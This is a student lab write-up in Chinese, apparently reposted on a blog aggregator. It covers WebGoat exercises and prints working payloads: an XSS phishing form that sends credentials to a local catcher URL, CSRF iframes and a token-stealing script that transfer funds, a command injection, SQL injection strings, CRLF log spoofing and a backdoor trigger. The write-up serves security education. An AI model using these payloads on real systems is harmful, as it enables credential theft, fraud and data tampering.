zoukankan      html  css  js  c++  java
  • 网络对抗技术 2017-2018-2 20155215 Exp9 Web安全基础

    1.实践过程

    前期准备:WebGoat

    WebGoat分为简单版和开发板,简单版是个Java的Jar包,只需要有Java环境即可,我们在命令行里执行java -jar webgoat-container-7.0.1-war-exec.jar 运行WebGoat:

    WebGoat使用8080端口,所以在浏览器上输入网址http://localhost:8080/WebGoat打开登录界面:

    因为我用的是7.1,所以有默认账号,8.0的这里可以自己申请个账号。

    练习内容:

    Cross-Site Scripting (XSS):

    1.Phishing with XSS

    这是一个网页如果在页面上存在已知的XSS攻击时可能支持钓鱼攻击的例子。本题要在搜索框中输入XSS攻击代码,利用XSS可以在已存在的页面中进一步添加元素的特点。
    我们先创建一个form,让受害人在我们创建的form中填写用户名和密码,再添加一段JavaScript代码,读取受害人输入的用户名和密码,并且将这些信息发送给http:// localhost:8080 / WebGoat / catcher?PROPERTY = yes ...,完整的XSS攻击代码如下:

    </form>
    <script>
        function hack(){ 
            XSSImage=new Image;
            XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
            alert("Your information was stolen by 5215! User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
        } 
    </script>
    <form name="phish">
    <br>
    <br>
    <HR>
        <H2>please input your information here:</H2>
    <br>
        <br>Enter Username:<br>
        <input type="text" name="user">
        <br>Enter Password:<br>
        <input type="password" name = "pass">
    <br>
        <input type="submit" name="login" value="login" onclick="hack()">
    </form>
    <br>
    <br>
    <HR>
    

    然后就会生成这样一个登录界面:

    我们可以看到,当你输入了你的用户名和密码之后,我们就能成功窃取。

    2.Stored XSS Attacks

    这是练习的一个介绍:

    清理所有输入,尤其是稍后将用作OS命令,脚本和数据库查询的参数的输入总是一个好习惯。 对于永久存储在应用程序某处的内容而言,这一点尤其重要。 用户不应该能够创建可能导致其他用户在检索到用户消息时加载不需要的页面或不需要的内容的消息内容。
    这个练习是一个储存型XSS攻击:
    XSS攻击代码存储于数据库中,每次当用户打开此网页时便会执行,危害大,常用语留言板,每次当用户查看留言信息时即触发。导致用户访问时载入非预期的页面或内容。

    比如说我们在“title”里面写上“xy”,在message中输入一串代码:<script>alert(" you have been attacked by 5215");</script>,就会生成一个链接:

    然后我们点进去:

    攻击成功。

    3.Reflected XSS Attacks

    验证服务器端的所有输入总是一个好习惯。 在HTTP响应中使用未经验证的用户输入时,可能会发生XSS。 在反映的XSS攻击中,攻击者可以利用攻击脚本制作一个URL并将其发布到另一个网站,发送电子邮件或以其他方式让受害者点击它。

    如果我们将带有攻击性的URL作为输入源,例如输入<script>alert(" you have been attacked by 5215");</script>

    出现提示弹窗:

    Cross Site Request Forgery (CSRF)

    4.CSRF

    这里练习的目标是发送电子邮件到新闻组。电子邮件包含一个图像,其URL指向恶意请求。在本课中,URL应该指向“攻击”Servlet,该课程的“屏幕”和“菜单”参数和一个额外的参数“TrimeFund”具有任意数值,如5000。您可以通过在右边插入的参数中找到“屏幕”和“菜单”值来构建链接。当时被认证的CSRF邮件的收件人将转移他们的资金。当这一课的攻击成功时,左边的菜单旁边出现一个绿色的√选标记。

    我们要做的就是以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件。

    我们在message框中输入这样一串代码:

    注意这里面的Screen和menu的值每个人的电脑可能不一样,可以在页面的下方有个Parameters进行查看,然后通过宽高设置成1像素,隐藏掉这个图片。
    提交后,会在消息列表中看到一个新的消息,点击该消息,当前页面就会下载这个消息并显示出来,转走用户的5000元,从而达到CSRF攻击的目的。

    5.CSRF Prompt By-Pass

    类似于CSRF课程,您的目标是向包含多个恶意请求的新闻组发送电子邮件:第一个转移资金,第二个请求确认第一个请求触发的提示。 这些URL应通过此CSRF-prompt-by-pass课程的屏幕,菜单参数以及具有诸如“5000”之类的数值的额外参数“transferFunds”来指向攻击servlet以启动传输并且字符串值“CONFIRM” 完成它。 您可以从右侧的插图复制课程参数以创建格式为“攻击?屏幕= XXX&menu = YYY&transferFunds = ZZZ”的网址。 无论谁收到这封电子邮件并恰好在那个时候进行认证,他的资金都将被转移。 当您认为攻击成功时,刷新页面,您会在左侧菜单中找到绿色的√选标记。

    在message中添加代码如下:

    <iframe src="attack?Screen=src值&menu=menu值&transferFunds=转账数额"> </iframe>
    <iframe src="attack?Screen=src值&menu=menu值&transferFunds=CONFIRM"> </iframe>
    

    查看页面下边Parameters中的src和menu值来写你代码中的src和menu值。
    提交后生成一个链接,点击“confirm”出现转账成功提示:

    还可以在浏览器中手动输入URL

    localhost:8080/WebGoat/attack?Screen=266&menu=900&transferFunds=5000
    进入确认转账请求页面:

    点击CONFIRM按钮之后,再在浏览器中输入URL:

    localhost:8080/WebGoat/attack?Screen=266&menu=900&transferFunds=CONFIRM
    成功转走了5000元:

    6.CSRF Token By-Pass

    与CSRF课程类似,您的目标是向包含恶意请求转移资金的新闻组发送电子邮件。 要成功完成,您需要获取有效的请求令牌。 显示转帐资金表单的页面包含有效的请求令牌。 转账资金页面的URL是带有本课“屏幕”和“菜单”查询参数以及额外参数“transferFunds = main”的“攻击”servlet。 加载此页面,读取该令牌并将该令牌附加到一个伪造的请求中,以传递给Ffunds。 当您认为攻击成功时,刷新页面,您会在左侧菜单中找到绿色勾选标识。
    这里需要在MESSAGE中输入代码如下所示:

    <script>
        var tokensuffix;
         
        function readFrame1()
        {
            var frameDoc = document.getElementById("frame1").contentDocument;
            var form = frameDoc.getElementsByTagName("form")[0];
            tokensuffix = '&CSRFToken=' + form.CSRFToken.value;
         
            loadFrame2();
        }
         
        function loadFrame2()
        {
            var testFrame = document.getElementById("frame2");
            testFrame.src="attack?Screen=273&menu=900&transferFunds=5000" + tokensuffix;
        }
    </script>
     
    <iframe src="attack?Screen=273&menu=900&transferFunds=main"
        onload="readFrame1();"
        id="frame1" frameborder="1" marginwidth="0"
        marginheight="0" width="800" scrolling=yes height="300"></iframe>
     
    <iframe id="frame2" frameborder="1" marginwidth="0"
        marginheight="0" width="800" scrolling=yes height="300"></iframe>
    
    
    

    点击Submit,如下图所示:

    Injection Flaws

    7.Command Injection

    这是通过修改网页源码来注入指令。
    我们通过火狐浏览器下的Firebug对源代码进行修改,在BackDoors.help旁边加上"& netstat -an & ipconfig"

    这时网页上的选项就被修改了:

    然后再点击view,可以看到命令被执行,出现系统网络连接情况的一个结果:

    8.Numeric SQL Injection

    下面的表单允许用户查看天气数据。尝试注入导致所有天气数据显示的SQL字符串。

    加上一个1=1这种永真式即可达到我们的目的,依旧利用firebug,在任意一个值比如101旁边加上or 1=1:

    点击“go”即可显示所有地区的天气:

    9.Log Spoofing

    我们输入的用户名会被追加到日志文件中,所以我们可以使用障眼法来使用户名为“admin”的用户在日志中显示“成功登录”,在User Name文本框中输入xy%0d%0aLogin Succeeded for username: admin,其中%0d是回车,%0a是换行符:

    登录成功。

    10.String SQL Injection

    这里是基于select语句构造SQL注入字符串,在文本框中输入' or 1=1 --
    里面的分号用来和select语句中last_name字符串的'闭合,然后就成了select * from user_data from where last_name = '' or 1=1 -- ' ,而我们知道--是注释符,所有后面的一个分号被注释掉了,or表示选择,则 这句的where条件就成了:last_name可以为某值也可以是“1=1”即永真。

    所有我们可以看到结果是出现了所有人的信息。

    11.LAB: SQL Injection(Stage 1:String SQL Injection)

    这里和之前一样,基于select语句构造SQL注入字符串,在文本框中输入' or 1=1 --
    但是在这之前需要将MAXLENGTH修改一下,因为它限制为8,我们还是用firebug来修改:

    然后我们就会发现成功了:

    12.SQL Injection(Stage 3:Numeric SQL Injection)

    还是先将MAXLENGTH用firebug来修改修改一下,因为它限制为8,然后基于select语句构造SQL注入字符串,在文本框中输入' or 1=1 --,接着选择ViewProfile来浏览员工的信息:

    然后我们再回头去看一下ViewProfile按键的VALUE,这个地方是以员工ID作为索引传递参数的,如果要达到通过Larry来浏览老板账户信息的目的,我们需要修改一下value的值。我们知道一般来说老板的工资都应该是最高的,所以把其中的value值改为101 or 1=1 order by salary desc --

    然后我们再点击ViewProfile,就能看到老板的信息了:

    13.Database Backdoors

    首先输一个101,得到了该用户的信息:

    然后我们输入注入语句:
    101; update employee set salary=90000
    成功把该用户的工资涨到了90000:

    根据红色语句的提示,我们再修改SQL语句为
    101;CREATE TRIGGER lsqBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='20155232@qq.com' WHERE userid = NEW.userid

    这时候我们就创建了一个后门。

    2.实验后回答问题

    (1)SQL注入攻击原理,如何防御
    答:

    • 攻击原理:SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,比如很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到SQL注入式攻击。
    • 防御措施:
    • 输入验证,检查用户输入的合法性,确信输入的内容只包含合法的数据,不允许出现“= ”、“-”之类的非法字符,或者限制输入的长度,从而限制了SQL注入的可能。
    • 错误消息处理,防范SQL注入,还要避免出现一些详细的错误消息,因为黑客们可以利用这些消息。要使用一种标准的输入确认机制来验证所有的输入数据的长度、类型、语句、企业规则等。
    • 加密处理,将用户登录名称、密码等数据加密保存。加密用户输入的数据,然后再将它与数据库中保存的数据比较,这相当于对用户输入的数据进行了“消毒”处理,用户输入的数据不再对数据库有任何特殊的意义,从而也就防止了攻击者注入SQL命令。

    (2)XSS攻击的原理,如何防御
    答:

    • 攻击原理:XSS攻击,即跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。
    • 防御措施:
    • 一种方法是在表单提交或者url参数传递前,对需要的参数进行过滤。
    • 过滤用户输入的 检查用户输入的内容中是否有非法内容。如<>(尖括号)、”(引号)、 ‘(单引号)、%(百分比符号)、;(分号)、()(括号)、&(& 符号)、+(加号)等。

    (3)CSRF攻击原理,如何防御
    答:

    • 攻击原理:CSRF(Cross-siterequestforgery跨站请求伪造,也被称为“oneclickattack”或者sessionriding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。CSRF通过伪装来自受信任用户的请求来利用受信任的网站。
    • 防御措施:
    • 通过 referer、token 或者 验证码 来检测用户提交。
    • 尽量不要在页面的链接中暴露用户隐私信息。
    • 对于用户修改删除等操作最好都使用post 操作 。
    • 避免全站通用的cookie,严格设置cookie的域。

    3.实验总结与体会

    这次的实验总共完成了13个练习,包括SQL注入、CSRF攻击、XSS攻击三个部分的内容。我觉得SQL注入是一种非常简单易实行的攻击手段,只需要对SQL语句有一定的了解就可以,这也正是我们在刘念老师的课上学过的内容,同时,这也就使得对SQL注入攻击的防御手段也有很多。而CSRF则不太流行也难以防御,所以被认为比XSS更具危险性。练习的内容虽然不尽相同,但是使我对于各种攻击方式有了一个基础的了解。

  • 相关阅读:
    innodb-mvcc
    5.7-mysql不同隔离级别下执行sql的上锁情况-building
    shardingsphere自定义分分片
    shardingsphere自定义分布式主键如何配置
    线程池源码ThreadPoolExecutor分析
    一些知识的总结
    账户余额的批量入账与扣账实现
    jstack
    Java——总结
    Java——重写
  • 原文地址:https://www.cnblogs.com/xuanyan/p/9093715.html
Copyright © 2011-2022 走看看